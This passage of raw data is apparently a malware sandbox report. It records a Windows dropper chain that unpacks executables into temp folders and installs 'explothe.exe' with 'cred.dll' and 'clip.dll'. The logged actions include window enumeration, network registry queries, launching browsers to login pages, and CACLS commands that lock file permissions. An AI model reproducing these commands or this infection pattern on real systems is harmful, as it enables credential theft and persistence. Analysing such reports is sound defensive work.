"TRANSPARENTENABLED")3a:T442,Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; File: "00000000-00001520.00000000.79661.00991000.00000020.mdmp") Found reference to API "GetWindowText" (Indicator: "GetWindowText"; File: "00000000-00003232.00000001.80036.00BD9000.00000004.mdmp") Found reference to API "FindWindow" (Indicator: "FindWindow"; File: "00000000-00003232.00000001.80036.00BD9000.00000004.mdmp") Found reference to API "GetWindowTextLengthW" (Indicator: "GetWindowText"; File: "00000000-00003560.00000001.81251.00401000.00000040.mdmp") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; File: "00000000-00003560.00000001.81251.00401000.00000040.mdmp") Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; File: "00000000-00003560.00000001.81251.00401000.00000040.mdmp") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; File: "00000000-00003560.00000001.81251.00401000.00000040.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00001520.00000000.79661.00A4F000.00000002.mdmp")3b:T740,"explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")3c:T6d5,"AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" at 00000000-00003236-0000010C-492356 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll" at 00000000-00003236-0000010C-3005262 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll" at 00000000-00003236-0000010C-3010123 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll" at 00000000-00003236-0000010C-4384376 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll" at 00000000-00003236-0000010C-4388571 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00003236-0000010C-4708710 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\fefffe8cea\explothe.exe" at 00000000-00003888-0000010C-10055758 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\cred.dll" at 00000000-00003888-0000010C-18965539 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\clip.dll" at 00000000-00003888-0000010C-20676191 "cmd.exe" queries volume information of an entire harddrive"C:\" at 00000000-00003868-0000010C-11611603d:T4e2,"5nB9ui9.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\EXPLOTHE.EXE") "5nB9ui9.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\EXPLOTHE.EXE") "explothe.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\CMD.EXE") "explothe.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\CMD.EXE") "explothe.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\SCHTASKS.EXE") "explothe.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\SCHTASKS.EXE") "6BL1kL7.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\CMD.EXE") "6BL1kL7.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\CMD.EXE") "cmd.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\IEXPLORE.EXE") "cmd.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\IEXPLORE.EXE") "cmd.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\IEXPLORE.EXE"; Key: "USESHORTNAME") "cmd.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\IEXPLORE.EXE"; Key: "APPENDPATH") "cmd.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\IEXPLORE.EXE"; Key: "PATH")3e:T698,"oi9NR71.exe" called "CreateDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00004376) "AppLaunch.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00003236) "AppLaunch.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00003236) "5nB9ui9.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00002000) "explothe.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00003888) "explothe.exe" called "CreateDirectoryA" with parameter %APPDATA%\006700e5a2ab05 (UID: 00000000-00003888) "explothe.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00003888) "explothe.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00003888) "explothe.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files (UID: 00000000-00003888) "explothe.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00003888) "explothe.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Cookies (UID: 00000000-00003888) "explothe.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\History (UID: 00000000-00003888) "6BL1kL7.exe" called "CreateDirectoryW" with parameter %TEMP%\3246.tmp (UID: 00000000-00003560) "6BL1kL7.exe" called "CreateDirectoryW" with parameter %TEMP%\3246.tmp\3247.tmp (UID: 00000000-00003560) "6BL1kL7.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00003560)3f:T894,"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" called "CreateProcessA" with parameter "%TEMP%\IXP000.TMP\gF3mD54.exe" - (UID: 00000000-00001380) "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" called "CreateProcessA" with parameter "%TEMP%\IXP000.TMP\6BL1kL7.exe" - (UID: 00000000-00001380) "gF3mD54.exe" called "CreateProcessA" with parameter "%TEMP%\IXP001.TMP\oi9NR71.exe" - (UID: 00000000-00001884) "gF3mD54.exe" called "CreateProcessA" with parameter "%TEMP%\IXP001.TMP\5nB9ui9.exe" - (UID: 00000000-00001884) "oi9NR71.exe" called "CreateProcessA" with parameter "%TEMP%\IXP002.TMP\ZF2zr63.exe" - (UID: 00000000-00004376) "oi9NR71.exe" called "CreateProcessA" with parameter "%TEMP%\IXP002.TMP\4em853cx.exe" - (UID: 00000000-00004376) "ZF2zr63.exe" called "CreateProcessA" with parameter "%TEMP%\IXP003.TMP\Cb7yP98.exe" - (UID: 00000000-00003660) "ZF2zr63.exe" called "CreateProcessA" with parameter "%TEMP%\IXP003.TMP\3Cf23Ki.exe" - (UID: 00000000-00003660) "Cb7yP98.exe" called "CreateProcessA" with parameter "%TEMP%\IXP004.TMP\2pQ5650.exe" - (UID: 00000000-00003620) "cmd.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\Internet Explorer\iexplore.exe" https://www.facebook.com/login" - (UID: 00000000-00003868) "cmd.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\Internet Explorer\iexplore.exe" https://www.youtube.com/" - (UID: 00000000-00003868) "cmd.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\Internet Explorer\iexplore.exe" https://accounts.google.com/" - (UID: 00000000-00003868) "cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /S /D /c" echo Y"" - (UID: 00000000-00002644) "cmd.exe" called "CreateProcessW" with parameter "CACLS "explothe.exe" /P "%OSUSER%:N"" - (UID: 00000000-00002644) "cmd.exe" called "CreateProcessW" with parameter "CACLS "explothe.exe" /P "%OSUSER%:R" /E" - (UID: 00000000-00002644) "cmd.exe" called "CreateProcessW" with parameter "CACLS "..\fefffe8cea" /P "%OSUSER%:N"" - (UID: 00000000-00002644) "cmd.exe" called "CreateProcessW" with parameter "CACLS "..\fefffe8cea" /P "%OSUSER%:R" /E" - (UID: 00000000-00002644)40:T5787,"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00001380) "gF3mD54.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00001884) "oi9NR71.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00004376) "oi9NR71.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00004376) "oi9NR71.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00004376) "ZF2zr63.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00003660) "1Nd23RF4.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter 1Nd23RF4.exe (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter dwmapi.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ole32.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\MSCTF.dll (UID: 00000000-00002836) "1Nd23RF4.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00002836) "3Cf23Ki.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00001520) "4em853cx.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00003232) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\WindowsBase\1a4cc316fb6d09525321fc0be44692d8\WindowsBase.ni.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\PresentationCore\468f4e17be144ca12a73a4297eacc9cc\PresentationCore.ni.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\252cc7b0fae8cfe083bdc149957c0c54\PresentationFramework.ni.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\ucrtbase_clr0400.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter ucrtbase_clr0400.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\SHLWAPI.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter dwrite.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\WPF\wpfgfx_v0400.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationNative_v0400.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\274e43040c8a7a02ef1065db3283005a\System.Runtime.Serialization. (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.IdentityModel\c2ef5bc545b98a289f02d0b3eddbe280\System.IdentityModel.ni.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\SMDiagnostics\dc67dcb4b2fb4a3853d458cab08561f0\SMDiagnostics.ni.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Intern (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Transactions\3d760b4a3260a41ef84a3fd866780980\System.Transactions.ni.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00003236) "AppLaunch.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll (UID: 00000000-00003236) "5nB9ui9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00002000) "5nB9ui9.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002000) "5nB9ui9.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00002000) "5nB9ui9.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002000) "5nB9ui9.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00002000) "5nB9ui9.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00002000) "5nB9ui9.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00002000) "5nB9ui9.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\shdocvw.dll (UID: 00000000-00002000) "5nB9ui9.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00002000) "5nB9ui9.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002000) "5nB9ui9.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00002000) "5nB9ui9.exe" called "LoadLibrary" with a parameter API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL (UID: 00000000-00002000) "5nB9ui9.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00002000) "5nB9ui9.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00002000) "explothe.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00003888) "explothe.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003888) "explothe.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00003888) 